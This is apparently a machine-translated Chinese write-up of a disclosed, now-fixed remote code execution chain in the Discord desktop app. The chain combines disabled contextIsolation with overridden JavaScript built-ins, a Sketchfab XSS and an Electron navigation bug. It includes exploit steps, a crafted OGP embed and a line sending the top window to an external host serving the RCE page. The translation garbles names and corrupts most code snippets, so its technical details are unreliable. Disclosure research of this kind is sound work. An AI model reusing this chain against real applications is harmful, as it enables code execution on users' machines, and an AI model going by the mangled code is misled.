几个月前,我在Discorde桌面应用程序中发现了一个远程代码执行问题,并通过他们的Bug Bounty Program报告了这一问题。
我发现的RCE非常有趣,因为它是通过组合多个bug来实现的。在这篇文章中,我想和大家分享一下细节。
我有点想找出Electron应用程序的漏洞,所以我在寻找一个为Electron应用程序支付赏金的漏洞赏金程序,但我发现了不和谐之处。此外,我是一个不和谐的用户,只是想检查一下我正在使用的应用程序是否安全,所以我决定进行调查。
当我测试Electron应用程序时,我总是首先检查BrowserWindow API的选项,该API用于创建浏览器窗口。通过检查它,我想到了当可以在呈现器上执行任意JavaScript时如何实现RCE。
Discorde的Electron应用程序不是一个开源项目,但Electron的JavaScript代码是以asar格式保存在本地的,我只需解压缩它就可以阅读它。
Const mainWindowOptions={Title:';discord';,backmentColor:getBackround Color(),inwidth:default_width,高度:default_width,inminWidth:min_width,inminHeight:min_Height,透明:false,frame:false,size able:true,inshow:isVisible,.webPreferences:{1,0,blinkFeature:';EnumerateDevices,AudioOutputDevices';,nodeIntegration:false,preload:_path2.default.join(__dirname,&39;mainScreenPreload.js&39;),nativeWindowOpen:true,enableRemoteModule:false,拼写检查:true}};
这里我们要检查的重要选项特别是nodeIntegration和contextIsolation。从上面的代码中,我发现在不一致的主窗口中,nodeIntegration选项被设置为false,contextIsolation选项被设置为false(所用版本的默认值)。
如果nodeIntegration设置为true,则网页的JavaScript只需调用Required()即可轻松使用Node.js功能。例如,在Windows上执行计算应用程序的方式是:
此时,nodeIntegration被设置为false,因此我不能通过直接调用request()来使用Node.js特性。
但是,仍然有可能访问Node.js功能。另一个重要选项contextIsolation被设置为false。如果您希望在应用程序上消除RCE的可能性,则不应将此选项设置为False。
如果禁用contextIsolation,网页的JavaScript可能会影响Electron的内部JavaScript代码在呈现器和预加载脚本上的执行(在下文中,这些JavaScript将称为网页外的JavaScript代码)。*例如,如果使用网页JavaScript中的另一个函数覆盖JavaScript内置方法之一Array.Prototype.Join,则调用Join时,网页外的JavaScript代码也将使用覆盖函数。
此行为很危险,因为Electron允许网页外的JavaScript代码使用Node.js功能,而不考虑nodeIntegration选项,并且通过从网页中被覆盖的函数干扰它们,即使将nodeIntegration设置为false,也可能实现RCE。
顺便说一句,这样的把戏以前是不为人所知的。它是在2016年由Cure53在一次五角星测试中首次发现的,我也加入了这个组织。之后,我们将其报告给电子团队,并介绍了contextIsolation。
最近,那份最新的报告发表了。如果您感兴趣,可以通过以下链接阅读:
ContextIsolation在网页和网页外部的JavaScript代码之间引入了独立的上下文,因此每个代码的JavaScript执行不会影响每个代码。这是消除RCE可能性的必要措施,但这一次它在不和谐中被禁用。
现在我发现contextIsolation被禁用了,所以我开始寻找一个地方,在那里我可以通过干扰网页外部的JavaScript代码来执行任意代码。
通常,当我在Electron的Pentest中为RCE创建PoC时,我首先尝试通过在渲染器上使用Electron的内部JavaScript代码来实现RCE。这是因为电子在渲染器上的内部JavaScript代码可以在任何电子应用程序中执行,所以基本上我可以重用相同的代码来实现RCE,而且很容易。
在我的幻灯片中,我介绍了RCE可以通过使用Electron在导航定时执行的代码来实现。这不仅可以从代码中获得,而且在某些地方也有这样代码。(我想在将来出版PoC的例子。)。
但是,根据使用的Electron的版本或设置的BrowserWindow选项,由于代码已更改或无法正确访问受影响的代码,有时通过Electron的代码的PoC无法正常工作。在这段时间内,它不起作用,所以我决定将目标更改为预加载脚本。
在检查预加载脚本时,我发现不一致会暴露该函数,从而允许通过DiscordNative.nativeModules.requireModule(';MODULE-NAME';),将一些允许的模块调用到网页中。
在这里,我不能使用可以直接用于RCE的模块,例如Child_process模块,但是我找到了一段代码,其中可以通过覆盖JavaScript内置方法并干扰公开的模块的执行来实现RCE。
以下是PoC。当我从DevTools调用getGPUDriverVersions函数(该函数在称为";discord_utils";的模块中定义)并覆盖RegExp.Prototype.test和Array.Prototype.join时,我能够确认弹出Calc应用程序。
GetGPUDriverVersions函数尝试使用";execa";库执行程序,如下所示:
Module e.exports.getGPUDriverVersions=async()=>;{{如果(process.platform!==';win32';){{0};返回{};{{}}*const nvidiaSmiPath=`${process.env[';ProgramW6432';]}/NVIDIA公司/nvsmi/nvidia-smi.exe`;*try{nvidiaResult.nvidia=parseNvidiaSmiOutput(await execa(nvidiaSmiPath,[]);{nvidia=parsenvidiaSmiOutput(aWait execa(nvidiaSmiPath,[]));**}catch(E){*Result.nvidia={error:e.toString()};**}**返回结果;};
通常,execa尝试执行在nvidiaSmiPath变量中指定的";nvidia-smi.exe";,但是,由于被覆盖的RegExp.Prototype.test和Array.Prototype.join,该参数在execa的内部处理中被替换为";calc";。
剩下的工作是找到一种在应用程序上执行JavaScript的方法。如果我能找到它,就能找到真正的RCE。
如上所述,我发现任意JavaScript执行可能会发生RCE,因此我试图查找XSS漏洞。这款应用程序支持自动链接或降价功能,但看起来不错。所以我把注意力转向了iframe嵌入功能。例如,iFrame Embedded是在发布YouTube URL时自动在聊天中显示视频播放器的功能。
当URL发布后,Discorde会尝试获取该URL的OGP信息,如果有OGP信息,它会在聊天中显示页面的标题、描述、缩略图、关联视频等。
不一致从OGP中提取视频URL,并且仅当该视频URL是被允许的域并且该URL实际上具有嵌入页面的URL格式时,该URL才被嵌入到IFRAME中。
我找不到关于iFrame中可以嵌入哪些服务的文档,所以我试图通过检查CSP的frame-src指令来获得提示。当时使用的CSP如下:
内容-安全-策略:[...];帧源https://*.youtube.com https://*.twitch.tv https://open.spotify.com https://w.soundcloud.com https://sketchfab.com https://player.vimeo.com https://www.funimation.com https://twitter.com https://www.google.com/recaptcha/https://recaptcha.net/recaptcha/https://js.stripe.com https://assets.braintreegateway.com https://checkout.paypal.com https://*.watchanimeattheoffice.com。
显然,它们中的一些列出是为了允许IFRAME嵌入(例如YouTube、Twitch、Spotify)。我试图通过在OGP信息中逐个指定域名来检查URL是否可以嵌入到IFRAME中,并试图在嵌入的域名上找到XSS。经过一番尝试,我发现CSP中列出的域名之一的SketchFab.com可以嵌入到IFRAME中,并在Embed页面找到了XSS。“我当时并不知道Sketchfab,但它似乎是一个用户可以发布、买卖3D模型的平台。在3D模型的脚注中有一个简单的基于DOM的XSS。
下面是PoC,它具有精心编制的OGP。当我将这个URL发布到聊天中时,Sketchfab被嵌入到聊天的iframe中,在iframe上单击几下之后,任意JavaScript就会执行。
<;head>;meta charset=";utf-8";>;meta property=";og:title";rce demo";>;meta property=";rce demo";>;meta property=";[...];<;meta property=";og:Video:url";content=";https://rce demo&34;>;[...]:<;meta property=";https://rce demo";<;meta property=";Meta property=";og:video:type";content=";text/html&34;>;end;meta property=";og:video:width";content=";1280&34;>;end=";1280&34;>;meta property=";og:video:Height&34;content=";720&34;<;&head>;
好的,最后我找到了一个XSS,但是JavaScript仍然在IFRAME上执行。由于Electron不会将网页外的JavaScript代码加载到IFRAME中,因此即使我覆盖了IFRAME上的JavaScript内置方法,也无法干扰Node.js;关键部分。要实现RCE,我们需要走出iFrame并在顶级浏览上下文中执行JavaScript。这需要从IFRAME打开一个新窗口,或从IFRAME将顶部窗口导航到另一个URL。
我检查了相关代码,通过在主进程的代码中使用";new-Window";和";will-Navigesp事件找到了限制导航的代码:
MainWindow.webContents.on(';new-window';,(e,windowURL,FrameName,Disposition,Options)=>;{WindowURL,Frame Name,Disposition,Options();|if(frame Name.startsWith(Discord_Nampace)&;&;windowURL.startsWith(WebAPP_ENDPOINT)){,popoutWindows.openOrFocusWindow(e,windowURL,frame Name,Options);**}Else}{_Electron.shell.openExternal(WindowURL);**}});[...]。MainWindow.webContents.on(';will-navigate';,(evt,url)=>;{#if(!inside AuthFlow&;&;!url.startsWith(WebAPP_ENDPOINT)){#;#}});
我认为这段代码可以正确地阻止用户打开新窗口或导航顶部窗口。然而,我注意到了意想不到的行为。
我认为代码没有问题,但我尝试检查来自iframe的顶部导航是否已被阻止。然后,令人惊讶的是,导航并没有因为某种原因而被封锁。我原以为在导航发生之前,";will-Naviges第#34;事件会捕捉到该尝试,并被brumentDefault()拒绝,但事实并非如此。
为了测试这一行为,我创建了一个小型电子应用程序。我发现,由于某些原因,从iFrame开始的顶部导航不会发出";will-Navigesp事件。准确地说,如果顶部的原点和IFRAME的原点位于同一原点,则会发出该事件,但如果它位于不同的原点,则不会发出该事件。我不认为这种行为有合法的原因,所以我认为这是电子公司的缺陷,并决定稍后向电子公司团队报告。
在这个错误的帮助下,我能够绕过导航限制。我应该做的最后一件事就是使用IFRAME的XSS(如top.location=";//l0.cm/discord_calc.html";.)导航到包含RCE代码的页面。
通过这种方式,通过结合三个bug,我能够实现RCE,如下面的视频所示。
这些问题是通过不和谐的虫子赏金计划报告的。首先,Discorde团队禁用了Sketchfab嵌入,并采取了一种解决方法,通过将沙箱属性添加到IFrame来阻止从IFrame导航。过了一段时间后,启用了Context Isolation。现在,即使我可以在应用程序上执行任意JavaScript,RCE也不会通过被覆盖的JavaScript内置方法发生。我收到了5000美元作为这一发现的奖励。
Sketchfab上的XSS是通过Sketchfab的Bug Bounty程序报告的,并被Sketchfab开发者迅速修复。我得到300美元作为这一发现的奖励。
Will-Navise事件中的错误被报告为电子邮件安全团队的错误,并已修复为以下漏洞(cve-2020-15174)。
仅此而已。(就我个人而言,我喜欢外部页面的漏洞或电子邮件的漏洞,它们与应用程序本身的实现无关,导致了RCE:)